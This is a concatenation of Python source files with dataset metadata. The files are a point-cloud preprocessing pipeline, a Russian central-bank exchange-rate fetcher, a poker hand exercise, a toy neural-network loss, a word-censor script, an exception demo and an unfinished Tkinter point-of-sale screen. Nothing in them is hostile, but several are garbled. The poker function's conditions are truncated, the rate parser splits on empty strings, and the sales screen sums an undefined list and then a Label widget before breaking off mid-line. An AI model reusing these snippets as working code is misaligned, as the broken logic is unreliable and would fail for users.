os.path.dirname(os.path.abspath(__file__))\nCLASS_MAP_FILE = os.path.join(ROOT_DIR, \"params\", \"class_map.json\")\n\ndef load_h5_pointcloud(filename, features_output = [], features = {}):\n \"\"\"Load a pointcloud in the HDF5 format\n\n Args:\n filename (str): Name of point cloud file\n features_output (list, optional): List of point cloud features to extract. Defaults to [].\n features (dict, optional): Maps point feature name to column it occupies in the data matrix output. Defaults to {}.\n \"\"\"\n file = h5py.File(filename, 'r+')\n # only really need position and classification - if we have agl, substitute for z\n \n features_output = [f for f in features_output if f in features.keys()]\n position = file['LAS/Position']\n data = np.zeros((position.shape[0], len(features_output)))\n if 'AGL' in file.keys() and \"agl\" in features_output:\n agl = file['AGL']\n data[:, features[\"agl\"]] = agl\n\n labels = file['LAS/Classification']\n\n if \"color\" in features_output:\n data[:, features[\"color\"]] = file[\"LAS/Color\"]\n if \"intensity\" in features_output:\n data[:, features[\"intensity\"]] = file[\"LAS/Intensity\"]\n if \"return_number\" in features_output:\n data[:, features[\"return_number\"]] = file[\"LAS/ReturnNumber\"]\n if \"number_of_returns\" in features_output:\n data[:, features[\"number_of_returns\"]] = file[\"LAS/NumberOfReturns\"]\n\n return data, labels\n\ndef load_las_pointcloud(filename, features_output = [], features = {}):\n \"\"\"Load a pointcloud in the LAS format\n\n Args:\n filename (str): Name of point cloud file\n features_output (list, optional): List of point cloud features to extract. Defaults to [].\n features (dict, optional): Maps point feature name to column it occupies in the data matrix output. Defaults to {}.\n \"\"\"\n file = laspy.read(filename)\n\n avail_fields = [f.name for f in file.header.point_format]\n\n features_output = [f for f in features_output if f in features.keys() and \n (f in avail_fields or \n f.lower() in avail_fields or \n f.upper() in avail_fields\n or f == \"agl\")]\n\n if any([\"x\" not in features_output, \n \"y\" not in features_output, \n \"z\" not in features_output,\n \"x\" not in features.keys(), \n \"y\" not in features.keys(), \n \"z\" not in features.keys()]):\n raise Error(\"No position found in pointcloud!\")\n\n data = np.zeros((file.x.shape[0], len(features_output)))\n data[:, features[\"x\"]] = file.x\n data[:, features[\"y\"]] = file.y\n data[:, features[\"z\"]] = file.z\n labels = file.classification\n\n \n if \"red\" in features_output:\n data[:, features[\"red\"]] = file.red\n if \"green\" in features_output:\n data[:, features[\"green\"]] = file.green\n if \"blue\" in features_output:\n data[:, features[\"blue\"]] = file.blue\n if \"intensity\" in features_output:\n data[:, features[\"intensity\"]] = file.intensity\n if \"return_number\" in features_output:\n data[:, features[\"return_number\"]] = np.array(file.return_number)\n if \"number_of_returns\" in features_output:\n data[:, features[\"number_of_returns\"]] = np.array(file.number_of_returns)\n\n return data, labels\n\ndef load_pointcloud(filename, features_output = [], features = {}, filter_noise = True):\n \"\"\"Load a pointcloud from a file\n\n Args:\n filename (str): Name of pointcloud file\n features_output (list, optional): List of point features to return. Defaults to [].\n features (dict, optional): Maps point feature names to column index they will appear in in output matrix. Defaults to {}.\n filter_noise (bool, optional): Whether to filter noise. Defaults to True.\n\n Raises:\n Exception: Unsupported file type entered\n \"\"\"\n if filename.split('.')[-1] == 'h5':\n data, labels = load_h5_pointcloud(filename, features_output = features_output, features = features)\n elif filename.split('.')[-1] == 'las':\n data, labels = load_las_pointcloud(filename, features_output = features_output, features = features)\n else:\n raise Exception('Unsupported file type!')\n\n if filter_noise:\n kdtree = KDTree(data[:, 0:3], metric = \"euclidean\")\n dists, _ = kdtree.query(data[:, 0:3], k = 2)\n good_idxs = np.where(dists[:, 1] < 1.0)[0]\n print(\"Filtered {} noise points\".format(data.shape[0] - len(good_idxs)))\n data = data[good_idxs, :]\n labels = labels[good_idxs]\n\n return data, labels\n\ndef save_las_pointcloud(data, labels, filename, features_output = [], features = {}):\n \"\"\"Save a pointcloud into LAS format\n\n Args:\n data (array-like): Array of pointcloud data\n labels (array-like): Array of pointcloud classification labels\n filename (str): Name of pointcloud file to save to\n features_output (list, optional): List of point cloud features to extract. Defaults to [].\n features (dict, optional): Maps point feature name to column it occupies in the data matrix output. Defaults to {}.\n \"\"\"\n las = laspy.create(file_version = \"1.2\", point_format = 3) \n\n las.x = data[:, 0]\n las.y = data[:, 1]\n las.z = data[:, 2]\n las.classification = labels.reshape(-1)\n\n features_output = [f for f in features_output if f in features.keys()]\n\n\n if \"red\" in features_output:\n las.red = data[:, features[\"red\"]]\n if \"green\" in features_output:\n las.green = data[:, features[\"green\"]]\n if \"blue\" in features_output:\n las.blue = data[:, features[\"blue\"]]\n if \"intensity\" in features_output:\n las.intensity = data[:, features[\"intensity\"]]\n if \"return_number\" in features_output:\n las.return_number = data[:, features[\"return_number\"]]\n if \"number_of_returns\" in features_output:\n las.number_of_returns = data[:, features[\"number_of_returns\"]]\n \n las.write(filename)\n \n\ndef load_pointcloud_dir(dir, outdir, \n block_size = 100, \n sample_num = 5, \n class_map_file = CLASS_MAP_FILE, \n min_num = 100, \n las_dir = \"converted-pcs\",\n features_output = [],\n features = {},\n calc_agl = True,\n cell_size = 1, \n desired_seed_cell_size = 90, \n boundary_block_width = 5, \n detect_water = False, \n remove_buildings = True, \n output_tin_file_path = None,\n dtm_buffer = 6,\n dtm_module_path = \"\",\n num_points = 7000,\n sub_block_size = 30,\n use_all_points = False,\n sub_sample_num = 10,\n n_tries = 10):\n \"\"\"Load pointcloud data into batches from a directory\n\n Args:\n dir (str): Name of directory to load from\n outdir (str): Namer of directory to store data files to\n block_size (int, optional): Size of initial blocks to split point clouds into. Defaults to 100.\n sample_num (int, optional): How many larger blocks to sample from each point cloud. Defaults to 5.\n class_map_file (str, optional): Name of JSON file containing class label mappings. Defaults to CLASS_MAP_FILE.\n min_num (int, optional): Minimum number of classes that must be present in each larger block to be stored. Defaults to 100.\n las_dir (str, optional): Directory to store LAS files of sampled blocks to. Defaults to \"converted-pcs\".\n features_output (list, optional): List of point features to store from each point cloud. Defaults to [].\n features (dict, optional): Maps point feature names to column indices where they will appear in data matrices. Defaults to {}.\n calc_agl (bool, optional): Whether to calculate AGL. Defaults to True.\n cell_size (int, optional): Size of cells used for DTM calculation. Defaults to 1.\n desired_seed_cell_size (int, optional): Expected seed cell size for DTM generation. Defaults to 90.\n boundary_block_width (int, optional): Width of blocks to put on boundary for DTM generation. Defaults to 5.\n detect_water (bool, optional): Whether to detect water in DTM generation. Defaults to False.\n remove_buildings (bool, optional): Whether to remove buildings in DTM generation. Defaults to True.\n output_tin_file_path (str, optional): Path to save DTM tin file to. Defaults to None.\n dtm_buffer (int, optional): Buffer width used in DTM generation (number of cells). Defaults to 6.\n dtm_module_path (str, optional): Location of the DTM generation module. Defaults to \"\".\n num_points (int, optional): Number of points to subsample in each smaller tile. Defaults to 7000.\n sub_block_size (int, optional): Size of smaller tiles to sample from larger tiles in a pointcloud. Defaults to 30.\n use_all_points (bool, optional): Whether to use all points in each sub tile. Defaults to False.\n sub_sample_num (int, optional): Number of sub block samples to take per tile. Defaults to 10.\n n_tries (int, optional): Number of attempts to search a tile for a suitable set of sub blocks. Defaults to 10.\n\n Returns:\n data_batches: List of batched point cloud data containing sets of sampled sub-tiles\n label_batches: List of batches point cloud classifications for sub tiles\n \"\"\"\n with open(class_map_file, \"r\") as f:\n class_map = json.load(f)\n class_map = {int(k): v for (k, v) in class_map.items()}\n classes = [k for k in np.unique(list(class_map.values()))]\n\n print(\"CLASSES: \", classes)\n\n data_batch_list, label_batch_list = [], []\n files = os.listdir(dir)\n acceptable_files = [f for f in files if f.split('.')[-1] in ['h5', 'las']]\n\n tile_num = 0\n\n if not os.path.isdir(las_dir):\n os.mkdir(las_dir)\n\n for i in tqdm(range(len(acceptable_files)), desc = \"Loading PCs\"):\n f = acceptable_files[i]\n whole_data, whole_labels = load_pointcloud(os.path.join(dir, f), features_output = features_output, features = features)\n\n data, labels = utils.room2blocks(whole_data, \n whole_labels, \n 100000, \n block_size = block_size, \n random_sample = False, \n stride = block_size/2, \n sample_num = sample_num, \n use_all_points = True)\n\n num_good = 0\n with tqdm(range(data.shape[0]), desc = \"Saving Data\") as t:\n for i in range(data.shape[0]):\n this_data, this_labels = convert_pc_labels(data[i], \n labels[i], \n class_map_file = class_map_file)\n\n if calc_agl and \"agl\" in features_output and \"agl\" in features.keys():\n dtm = build_dtm(this_data, \n module_path = dtm_module_path,\n cell_size = cell_size,\n desired_seed_cell_size = desired_seed_cell_size,\n boundary_block_width = boundary_block_width,\n detect_water = detect_water,\n remove_buildings = remove_buildings,\n output_tin_file_path = output_tin_file_path,\n dtm_buffer = dtm_buffer)\n\n agl = gen_agl(dtm, this_data)\n\n this_data[:, features[\"agl\"]] = agl\n\n found = 0\n n = 0\n while found < sample_num:\n block_points, block_labels = utils.room2blocks(this_data, this_labels, num_points, block_size=sub_block_size,\n stride=sub_block_size/2, random_sample=True, sample_num=sub_sample_num - found, use_all_points=use_all_points)\n for i in range(len(block_points)):\n this_block_points = block_points[i]\n this_block_labels = block_labels[i]\n label_counts = [len(np.where(this_block_labels == c)[0]) for c in classes]\n if all([c > min_num * ((sub_block_size ** 2)/(block_size ** 2)) for c in label_counts]):\n found += 1\n las = laspy.create(file_version = \"1.2\", point_format = 3) \n\n las.x = this_block_points[:, 0].astype(float)\n las.y = this_block_points[:, 1].astype(float)\n current_idx = 2 if not calc_agl else 3\n las.z = this_block_points[:, current_idx].astype(float)\n current_idx += 1\n las.classification = this_block_labels\n if \"red\" in features_output:\n las.red = this_block_points[:, current_idx]\n if \"green\" in features_output:\n las.green = this_block_points[:, current_idx + 1]\n if \"blue\" in features_output:\n las.blue = this_block_points[:, current_idx + 2]\n current_idx += 3\n if \"intensity\" in features_output:\n las.intensity = this_block_points[:, current_idx]\n current_idx += 1\n if \"return_number\" in features_output:\n las.return_number = this_block_points[:, current_idx]\n current_idx += 1\n if \"number_of_returns\" in features_output:\n las.number_of_returns = this_block_points[:, current_idx]\n current_idx += 1\n las.write(os.path.join(las_dir, \"Area_{}.las\".format(tile_num)))\n np.savetxt(os.path.join(outdir, 'Area_{}.txt'.format(\n tile_num)), np.hstack((this_block_points, \n np.reshape(this_block_labels, \n (len(this_block_labels), 1)))))\n \n data_batch_list.append(this_block_points)\n label_batch_list.append(this_block_labels)\n tile_num += 1\n num_good += 1\n n += 1\n\n if n > n_tries:\n break\n \n t.update()\n gc.collect()\n \n data_batches = np.concatenate(data_batch_list, 0)\n label_batches = np.concatenate(label_batch_list, 0)\n return data_batches, label_batches\n\ndef convert_pc_labels(data, labels, class_map_file = CLASS_MAP_FILE):\n \"\"\"Convert labels in a pointcloud to a format compatible with DGCNN\n\n Args:\n data (List): List of batched pointcloud data\n labels (List): List of batched pointcloud labels\n class_map_file (str): Name of file containing class mappings\n\n Returns:\n data: All valid entries of batch data\n labels: Remapped labels of batched data \n \"\"\"\n with open(class_map_file, \"r\") as f:\n class_map = json.load(f)\n\n class_map = {int(k): v for (k, v) in class_map.items()}\n\n valid_idxs = [i for i in range(len(labels)) if labels[i] in class_map.keys()]\n data = data[valid_idxs, :]\n labels = labels[valid_idxs]\n\n m = 1\n for c in class_map.keys():\n labels[np.where(labels == c)] = class_map[c]\n m += 1\n\n return data, labels\n\ndef extract_annotations(area, data_folder, output_path, categories, features, features_output):\n \"\"\"Extract the labelled point clouds from a directory\n\n Args:\n area (str): Name of the area folder being processed\n data_folder (str): Folder containing data being processed\n output_path (str): Where to save the processed data\n categories (List): Valid class labels to be processed\n features (Dict): Dict mapping point feature name to the column index of that feature in the text data\n features_output (List): Point features being saved after processing\n \"\"\"\n if not os.path.exists(output_path):\n os.mkdir(output_path)\n\n orig_output_path = output_path\n if not os.path.exists(output_path):\n os.mkdir(output_path)\n\n room_files = list(glob.iglob(os.path.join(data_folder, '*.txt')))\n for i in tqdm(range(len(room_files)), desc = \"Extracting PC Data\"): # read each tiled point cloud\n room_id = i + 1\n room_file = room_files[i]\n output_path = orig_output_path\n output_path = os.path.join(output_path, 'Area_' + str(room_id))\n if not os.path.exists(output_path):\n os.mkdir(output_path)\n\n output_path = os.path.join(output_path, area)\n if not os.path.exists(output_path):\n os.mkdir(output_path)\n\n # load data\n room_data = np.loadtxt(room_file)\n output_label = room_data[:, -1]\n output_data = np.zeros((room_data.shape[0], len(features_output)))\n test = np.unique(output_label)\n # select the output features\n for feature_id, feature in enumerate(features_output):\n output_data[:, feature_id] = room_data[:, features[feature]]\n fmt = [\"%.3f\" for _ in range(output_data.shape[1])]\n with open(output_path + '/' + area + '_' + str(room_id) + '.txt', 'w+') as fout1:\n np.savetxt(fout1, output_data, fmt=fmt)\n fout1.close()\n\n # write file according to classes\n ANNO_PATH = os.path.join(output_path, 'Annotations')\n if not os.path.exists(ANNO_PATH):\n os.mkdir(ANNO_PATH)\n\n eff_categories = np.unique(output_label)\n print(eff_categories)\n for category in eff_categories:\n # find corresponding classes\n category_indices = np.where(output_label == category)[0]\n fmt = [\"%.3f\" for _ in range(output_data.shape[1])]\n with open(ANNO_PATH + '/' + categories[category] + '.txt', 'w+') as fout2:\n np.savetxt(fout2, output_data[category_indices, :], fmt=fmt)\n fout2.close()\n\ndef write_anno_paths(base_dir, root_dir):\n \"\"\"Write the paths of the point cloud annotation files to a common location\n\n Args:\n base_dir (str): Base directory of the data\n root_dir (str): Root directory of the files\n \"\"\"\n with open(os.path.join(root_dir, 'meta/anno_paths.txt'), 'w+') as anno_paths:\n paths = []\n for path in glob.glob(base_dir + '/processed/*/*/Annotations'):\n path = path.replace('\\\\', '/')\n paths.append(path)\n paths = np.array(paths)\n np.savetxt(anno_paths, paths, fmt='%s')\n anno_paths.close()\n\ndef collect_3d_data(root_dir, output_folder):\n \"\"\"Collect data in the meta data folder into numpy files\n\n Args:\n root_dir (str): Root directory of the files\n output_folder (str): Where to save the numpy data files\n \"\"\"\n anno_paths = [line.rstrip() for line in open(os.path.join(root_dir, 'meta/anno_paths.txt'))]\n\n if not os.path.exists(output_folder):\n os.mkdir(output_folder)\n\n for anno_path in tqdm(anno_paths):\n elements = anno_path.split('/')\n out_filename = elements[-3] + '_' + elements[-2] + '.npy'\n utils.collect_point_label(anno_path, os.path.join(output_folder, out_filename), 'numpy')\n\ndef write_npy_file_names(root_dir, data_path):\n \"\"\"Save the names of the numpy data files for future reference\n\n Args:\n root_dir (str): Directory of the files\n data_path (str): Directory of the data files being referenced\n \"\"\"\n with open(os.path.join(root_dir, 'meta/all_data_label.txt'), 'w+') as f:\n files = []\n for file in glob.iglob(data_path + '/*.npy'):\n file = os.path.basename(file)\n files.append(file)\n paths = np.array(files)\n np.savetxt(f, files, fmt='%s')\n f.close()\n\ndef process_data(base_dir, root_folder, pc_folder, data_folder, \n processed_data_folder, npy_data_folder, area, categories_file, \n features_file, features_output, block_size, sample_num, \n min_class_num, class_map_file, calc_agl, cell_size, \n desired_seed_cell_size, boundary_block_width, detect_water,\n remove_buildings, output_tin_file_path, dtm_buffer,\n dtm_module_path, num_points, sub_block_size, use_all_points,\n sub_sample_num, n_tries):\n \"\"\"Pre-process raw point cloud data for the classifier\n\n Args:\n base_dir (str): Base directory of the data\n root_folder (str): Root directory of the files\n pc_folder (str): Name of directory to load point clouds from\n data_folder (st): Name of directory to save extracted sub tiles to\n processed_data_folder (str): Name of directory to store processed tile data\n npy_data_folder (str): Name of directory to store .npy data binary files to\n area (str): Label to assign to the set of data being processed\n categories_file (str): Name of JSON file that maps class labels to class names\n features_file (str): Name of JSON file mapping point feature names to column index in which they will appear in the data matrix\n features_output (list, optional): List of point features to store from each point cloud.\n block_size (int, optional): Size of initial blocks to split point clouds into\n sample_num (int, optional): How many larger blocks to sample from each point cloud\n min_class_num (int, optional): Minimum number of classes that must be present in each larger block to be stored\n class_map_file (str, optional): Name of JSON file containing class label mappings\n calc_agl (bool, optional): Whether to calculate AGL\n cell_size (int, optional): Size of cells used for DTM calculation\n desired_seed_cell_size (int, optional): Expected seed cell size for DTM generation\n boundary_block_width (int, optional): Width of blocks to put on boundary for DTM generation\n detect_water (bool, optional): Whether to detect water in DTM generation\n remove_buildings (bool, optional): Whether to remove buildings in DTM generation\n output_tin_file_path (str, optional): Path to save DTM tin file to\n dtm_buffer (int, optional): Buffer width used in DTM generation (number of cells)\n dtm_module_path (str, optional): Location of the DTM generation module\n num_points (int, optional): Number of points to subsample in each smaller tile\n sub_block_size (int, optional): Size of smaller tiles to sample from larger tiles in a pointcloud\n use_all_points (bool, optional): Whether to use all points in each sub tile\n sub_sample_num (int, optional): Number of sub block samples to take per tile\n n_tries (int, optional): Number of attempts to search a tile for a suitable set of sub blocks\n \"\"\"\n with open(categories_file, 'r') as f:\n categories = json.load(f)\n\n with open(features_file, 'r') as f:\n features = json.load(f)\n\n if not os.path.isdir(base_dir):\n os.mkdir(base_dir)\n\n if os.path.isdir(data_folder):\n os.rmdir(data_folder)\n os.mkdir(data_folder)\n else:\n os.mkdir(data_folder)\n\n categories = {float(c): categories[c] for c in categories.keys()}\n\n print(\"Base: \", base_dir)\n print(\"Root: \", root_folder)\n print(\"Pc: \", pc_folder)\n print(\"Data: \", data_folder)\n print(\"Processed: \", processed_data_folder)\n print(\"NPY: \", npy_data_folder)\n\n print(\"Loading pointcloud data\")\n load_pointcloud_dir(pc_folder, data_folder, \n block_size = block_size, \n sample_num = sample_num, \n min_num = min_class_num, \n class_map_file = class_map_file,\n features_output = features_output,\n features = features,\n calc_agl = calc_agl, \n cell_size = cell_size, \n desired_seed_cell_size = desired_seed_cell_size, \n boundary_block_width = boundary_block_width, \n detect_water = detect_water,\n remove_buildings = remove_buildings, \n output_tin_file_path = output_tin_file_path, \n dtm_buffer = dtm_buffer,\n dtm_module_path = dtm_module_path,\n num_points = num_points,\n sub_block_size = sub_block_size,\n use_all_points = use_all_points,\n sub_sample_num = sub_sample_num,\n n_tries = n_tries)\n print(\"Extracting annotations...\")\n extract_annotations(area, data_folder, processed_data_folder, categories, \n features, features_output)\n print(\"Writing annotation paths...\")\n write_anno_paths(base_dir, root_folder)\n print(\"collecting NPY data...\")\n collect_3d_data(root_folder, npy_data_folder)\n print(\"Writitng NPY data...\")\n write_npy_file_names(root_folder, npy_data_folder)\n","sub_path":"prepare_data/process_data.py","file_name":"process_data.py","file_ext":"py","file_size_in_byte":26339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"52792433","text":"import requests\r\n\r\n\r\ndef currency_rates(val):\r\n site = requests.get('http://www.cbr.ru/scripts/XML_daily.asp')\r\n content = site.content.decode(encoding=site.encoding)\r\n result = None\r\n if val not in content:\r\n return result\r\n else:\r\n for el in content.split(f'{val}')[1:]:\r\n for el_1 in el.split('')[:1]:\r\n result = round(float(el_1.split('')[1].replace(',', '.')), 2)\r\n return f'Курс валюты: {result} руб.'\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n code_val = str(input('Введите код валюты: '))\r\n print(currency_rates(code_val))","sub_path":"задание2.py","file_name":"задание2.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"462038481","text":"# -----------\n# User Instructions\n# \n# Define a function, kind(n, ranks).\n\ndef kind(n, ranks):\n ranks.sort(reverse = True)\n for i in range(len(ranks)-n+1):\n a=len(set(ranks[i:i+n]))==1\n if i+n+11\n else:\n b=True\n if i>0:\n c=len(set(ranks[i-1:i+n]))>1\n else:\n c=True\n if a and b and c:\n return ranks[i]\n return None\n \"\"\"Return the first rank that this hand has exactly n of.\n Return None if there is no n-of-a-kind in the hand.\"\"\"\n # Your code here.\n \ndef test():\n \"Test cases for the functions in poker program.\"\n sf = \"6C 7C 8C 9C TC\".split() # Straight Flush\n fk = \"9D 9H 9S 9C 7D\".split() # Four of a Kind\n fh = \"TD TC TH 7C 7D\".split() # Full House\n fkranks = card_ranks(fk)\n # tpranks = card_ranks(tp)\n assert kind(4, fkranks) == 9\n assert kind(3, fkranks) == None\n assert kind(2, fkranks) == None\n assert kind(1, fkranks) == 7\n\n return 'tests pass'\n \ndef card_ranks(hand):\n \"Return a list of the ranks, sorted with higher first.\"\n ranks = ['--23456789TJQKA'.index(r) for r, s in hand]\n ranks.sort(reverse = True)\n return ranks\n\ntest()\n","sub_path":"programing/U1_18.py","file_name":"U1_18.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"190243002","text":"from commons.functions import softmax, cross_entropy_error\nfrom commons.gradient import numerical_gradient\nimport numpy as np\n\n\nclass simpleNet:\n def __init__(self): # init values with one-hot-encoind\n self.W = np.random.randn(2, 3)\n\n def predict(self, x):\n return np.dot(x, self.W)\n\n def loss(self, x, t): # calculate error\n z = self.predict(x)\n y = softmax(z)\n loss = cross_entropy_error(y, t)\n return loss\n\n\nx = np.array([0.6, 0.9])\nt = np.array([0, 0, 1])\n\nnet = simpleNet()\n\n\ndef f(w):\n return net.loss(x, t)\n\n\ndW = numerical_gradient(f, net.W)\nprint(dW)\n","sub_path":"chapter04/4.4.2_gradient_in_neural.py","file_name":"4.4.2_gradient_in_neural.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"620263902","text":"from cs50 import get_string\nfrom sys import argv\nfrom sys import exit\n\nbanlist = set()\n\n\ndef main():\n\n if len(argv) != 2:\n print(\"Usage: python bleep.py banlist.txt\")\n exit(1)\n \n if load(argv[1]):\n \n msg = get_string(\"What message would you like to censor?\\n\")\n msglist = []\n msglist = msg.split()\n \n for word in msglist:\n if check(word):\n for c in word:\n print(\"*\", end=\"\")\n else:\n print(word, end=\"\")\n print(\" \", end=\"\")\n \n print()\n exit(0)\n \n else:\n print(\"Banlist load error\")\n exit(2)\n\n \ndef check(word):\n \"\"\"Return true if word is in dictionary else false\"\"\"\n return word.lower() in banlist\n\n\ndef load(dictionary):\n \"\"\"Load dictionary into memory, returning true if successful else false\"\"\"\n file = open(dictionary, \"r\")\n for line in file:\n banlist.add(line.rstrip(\"\\n\"))\n file.close()\n return True\n\n \ndef size():\n \"\"\"Returns number of words in dictionary if loaded else 0 if not yet loaded\"\"\"\n return len(words)\n\n \nif __name__ == \"__main__\":\n main()\n","sub_path":"pset6/bleep/bleep.py","file_name":"bleep.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"37952524","text":"# _*_ coding:utf8 _*_\ntry:\n file = open('aaa', 'r', encoding='utf-8')\n file.close()\nexcept FileNotFoundError as e:\n print(\"没有文件%s\" % e)\nexcept NameError:\n print(\"没有文件\")\nexcept ValueError:\n print(\"没有文件\")\nelse:\n print('打开成功')\nfinally:\n print('finally')\n","sub_path":"src/exception/exception_deal.py","file_name":"exception_deal.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"10766715","text":"import tkinter\nfrom tkinter import *\nimport sqlite3\nimport datetime\nimport math\n\nconn = sqlite3.connect(\"BancoDados.db\")\ncursor = conn.cursor()\n\n# acrescentei dia 20-05\nproducts_list = []\nproducts_price = []\nproducts_quantity = []\nproducts_id = []\nget_precoFinal = []\n\n\nclass telaPdv:\n def __init__(self, master, *args, **kwargs):\n self.master = master\n #Frame da esquerda\n self.Tops = Frame(master, width=530, height=680, bd=5, relief=\"raise\")\n self.Tops.place(x=10, y=10)\n\n self.TopsRisco = Label(self.Tops, text=\"-------------------------------------\", font=('arial 30'), fg='gray65')\n self.TopsRisco.place(x=0, y=10)\n\n # Por a data no frame da esquerda\n self.date = datetime.datetime.now().date()\n\n self.date1 = Label(self.Tops, text='DATA de HOJE : ' + str(self.date), font='arial 10')\n self.date1.place(x=5, y=5)\n\n #Por nomes fixo no frame da venda\n self.resh = Label(self.Tops, text='#', font='arial 10')\n self.resh.place(x=10, y=50)\n\n self.IdVenda = Label(self.Tops, text='Cód ', font='arial 10')\n self.IdVenda.place(x=55, y=50)\n\n self.NomeProduto = Label(self.Tops, text='Descrição ', font='arial 10')\n self.NomeProduto.place(x=120, y=50)\n\n self.qtd = Label(self.Tops, text='Qtd Un', font='arial 10')\n self.qtd.place(x=250, y=50)\n\n self.PrecoU = Label(self.Tops, text='VL Unit.', font='arial 10')\n self.PrecoU.place(x=310, y=50)\n\n self.PrecoT = Label(self.Tops, text='VL Total.', font='arial 10')\n self.PrecoT.place(x=400, y=50)\n\n\n #Frame da Direita superior\n self.TopsDireitaSuperior = Frame(master, width=370, height=200, bd=5, relief=\"raise\")\n self.TopsDireitaSuperior.place(x=960, y=10)\n\n #Frame da Direita Meio\n self.TopsDireitaMeio = Frame(master, width=370, height=259, bd=5, relief=\"raise\")\n self.TopsDireitaMeio.place(x=960, y=220)\n\n #Frame da Direita de Baixo\n TopsDireitaBaixo = Frame(master, width=370, height=200, bd=5, relief=\"raise\")\n TopsDireitaBaixo.place(x=960, y=490)\n\n #Label caixa direita de Baixo\n self.procurarItem = Label(TopsDireitaBaixo, text='F3 - Procurar Itens', font='arial 15 bold')\n self.procurarItem.place(x=5, y=10)\n self.cancelarItem = Label(TopsDireitaBaixo, text='F4 - Cancelar Item Vendido', font='arial 15 bold')\n self.cancelarItem.place(x=5, y=40)\n self.cancelarVendaAtual = Label(TopsDireitaBaixo, text='F5 - Cancelar Venda Atual', font='arial 15 bold')\n self.cancelarVendaAtual.place(x=5, y=70)\n self.esc = Label(TopsDireitaBaixo, text='ESC - Limpa', font='arial 15 bold')\n self.esc.place(x=5, y=110)\n \n self.total_1 = Label(self.TopsDireitaSuperior, text='Total', font='arial 40 bold')\n self.total_1.place(x=50, y=50)\n\n\n\n #Entry para o frame do meio Entrar codigo barras ou Id\n self.entrada = Entry(self.TopsDireitaMeio, width=15, font='arial 20 bold', bg='lime green', fg='white')\n self.entrada.place(x=10, y=10)\n self.entrada.bind(\"\", self.quantify)\n self.entrada.focus()\n\n #Botão sair da tela de pdv\n self.botaoSair = Button(TopsDireitaBaixo, text='SAIR', font=('arial 10 bold'), width=10, height=1, bg='blue',\n fg='white', command=self.exit)\n self.botaoSair.place(x=250, y=150)\n self.botaoSair.bind(\"\", self.exit)\n\n #Botão para os item ckicaveis\n #self.n1 = Button(master, text='XIS-SALADA', font=('arial 10 bold'), width=20, height=2, bg='red', fg='white')\n #conteudo = 'xxx'\n #self.n1.configure(text=conteudo)\n #self.n1.place(x=550, y=50)\n\n #self.n2 = Button(master, text='XIS-BACON', font=('arial 10 bold'), width=20, height=2, bg='red', fg='white')\n #self.n2.place(x=750, y=50)\n\n #self.n3 = Button(master, text='BATATA-FRITA', font=('arial 10 bold'), width=20, height=2, bg='red', fg='white')\n #self.n3.place(x=550, y=110)\n\n\n\n # Iniciando as Funções\n\n linha1=75 # Variavel criada para pular a linha no recibo da venda, no final do for ele pula + 25 linhas\n linha2=95\n count = 1\n multi = 1\n def pegarItVendido(self, *args, **kwargs):\n self.get_id = self.entrada.get()\n query = \"SELECT * FROM cadastro WHERE id=?\"\n result = cursor.execute(query, (self.get_id, ))\n\n\n # get_precoFinal = []\n for self.r in result:\n self.get_resh = self.count\n self.get_id = self.r[0]\n self.get_nome = self.r[1]\n self.get_multi = self.multi\n self.get_precoVenda = self.r[3]\n # self.get_precoFinal = 0\n\n\n # Criando as variaveis\n # posicionando cada variavel dentro do Frame\n self.resh_n = Label(self.Tops, text='', font='arial 12 bold ', fg='black')\n self.resh_n.place(x=2, y=self.linha1)\n\n self.produtoNome = Label(self.Tops, text='', font='arial 12 bold', fg='black')\n self.produtoNome.place(x=50, y=self.linha1)\n\n self.id_da_Venda = Label(self.Tops, text='', font='arial 12 bold', fg='blue')\n self.id_da_Venda.place(x=70, y=self.linha2)\n\n self.xis = Label(self.Tops, text='X', font='arial 12 bold', fg='blue')\n self.xis.place(x=270, y=self.linha2)\n\n self.multipli = Label(self.Tops, text='', font='arial 12 bold', fg='blue')\n self.multipli.place(x=28, y=self.linha2)#####################\n\n self.produtoPrecoVenda = Label(self.Tops, text='', font='arial 12 bold', fg='blue')\n self.produtoPrecoVenda.place(x=300, y=self.linha2)\n\n #self.preco_final = Label(self.Tops, text='', font='arial 12 bold', fg='blue')\n #self.preco_final.place(x=400, y=self.linha2)\n get_precoFinal = Label(self.Tops, text='', font='arial 12 bold', fg='black')\n get_precoFinal.place(x=400, y=self.linha2)\n\n\n self.total = Label(self.TopsDireitaSuperior , font='arial 40 bold', fg='blue')\n self.total.place(x=5, y=5)\n\n self.linha1 += 50\n self.linha2 += 50\n self.count += 1\n\n# tambem em 20-05\n \n self.r_n = '{:0>3d}'.format(int(self.get_resh))\n self.resh_n.configure(text=\" + \" +self.r_n)\n\n self.idV = '{:0>13d}'.format(int(self.get_id))\n self.id_da_Venda.configure(text=self.idV)\n\n self.pN = '{:<30s}'.format(str(self.get_nome)).upper()\n self.produtoNome.configure(text=self.pN)\n\n self.pV = '{:>7.2f}'.format(float(self.get_precoVenda))\n self.produtoPrecoVenda.configure(text=self.pV)# + str(self.get_precoVenda))\n\n self.pF = '{:7.2f}'.format(float(self.multi) * (self.get_precoVenda))\n #self.preco_final.configure(text=self.pF)\n get_precoFinal.configure(text=self.pF)\n\n\n #self.total2 = '{:7.2f}'.format\n #self.total2 = '{:7.2f}'.format(float(self.somarItens()))\n self.total.configure(text=\"Total : \" + str(sum(get_precoFinal)))\n\n self.multi += 1\n\n # pega a quantidade de produtos para multiplicar\n def quantify(self, *args):\n # Entrada de quantos itens\n self.quantity_e = 0\n self.quantity_e = Entry(self.TopsDireitaMeio, text='', width=3, font='arial 40 bold', bg='lightblue', fg='purple')\n self.quantity_e.place(x=10, y=90)\n self.quantity_e.bind(\"\", self.pegarItVendido)\n self.quantity_e.focus()\n # self.quantity_e.insert(END, 